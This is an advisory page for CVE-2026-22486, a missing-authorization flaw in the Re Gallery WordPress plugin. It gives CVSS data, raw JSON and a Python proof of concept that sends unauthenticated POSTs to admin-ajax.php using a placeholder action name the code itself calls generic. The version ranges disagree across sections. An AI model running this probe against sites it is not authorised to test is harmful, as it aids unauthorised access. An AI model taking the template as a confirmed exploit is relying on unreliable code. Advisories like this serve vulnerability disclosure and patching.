Security Vulnerability Report
中文
CVE-2026-22486 CVSS 5.3 MEDIUM

CVE-2026-22486

Published: 2026-01-08 17:15:51
Last Modified: 2026-04-28 19:36:41

Description

Missing Authorization vulnerability in Re Gallery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Re Gallery: from n/a through 1.18.9.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Re Gallery WordPress Plugin < 1.18.9
Re Gallery WordPress Plugin from n/a through 1.18.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-22486 PoC - Missing Authorization in Re Gallery WordPress Plugin # Target: WordPress site with Re Gallery plugin <= 1.18.9 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-22486 This PoC attempts to access a protected endpoint that should require authentication """ # Target endpoint that should require authorization # Modify the endpoint based on actual vulnerable functionality endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/regallery/v1/", ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-22486 - Missing Authorization in Re Gallery Plugin\n") for endpoint in endpoints: print(f"[*] Testing endpoint: {endpoint}") # Example: Try to access admin functionality without authentication # This is a generic PoC structure - adjust parameters based on actual vulnerable function data = { 'action': 'regallery_admin_action', # Replace with actual vulnerable action 'sub_action': 'any', # Potentially unauthorized action } try: # Send unauthenticated request response = requests.post(endpoint, data=data, headers=headers, timeout=10) # Check if we get a successful response that should have been blocked if response.status_code == 200: print(f"[!] Potential vulnerability detected at {endpoint}") print(f"[!] Received response without authentication") print(f"[*] Response preview: {response.text[:200]}...") else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {e}") print("\n[*] PoC execution completed") print("[*] Note: This is a basic PoC. Manual testing may be required.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-22486.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22486", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:50.777", "lastModified": "2026-04-28T19:36:41.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Re Gallery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Re Gallery: from n/a through 1.18.9."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en el Plugin Hakob Re Gallery &amp; Responsive Photo Gallery permite Explotar Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta al Plugin Re Gallery &amp; Responsive Photo Gallery: desde n/a hasta 1.17.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/regallery/vulnerability/wordpress-re-gallery-responsive-photo-gallery-plugin-plugin-1-17-17-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}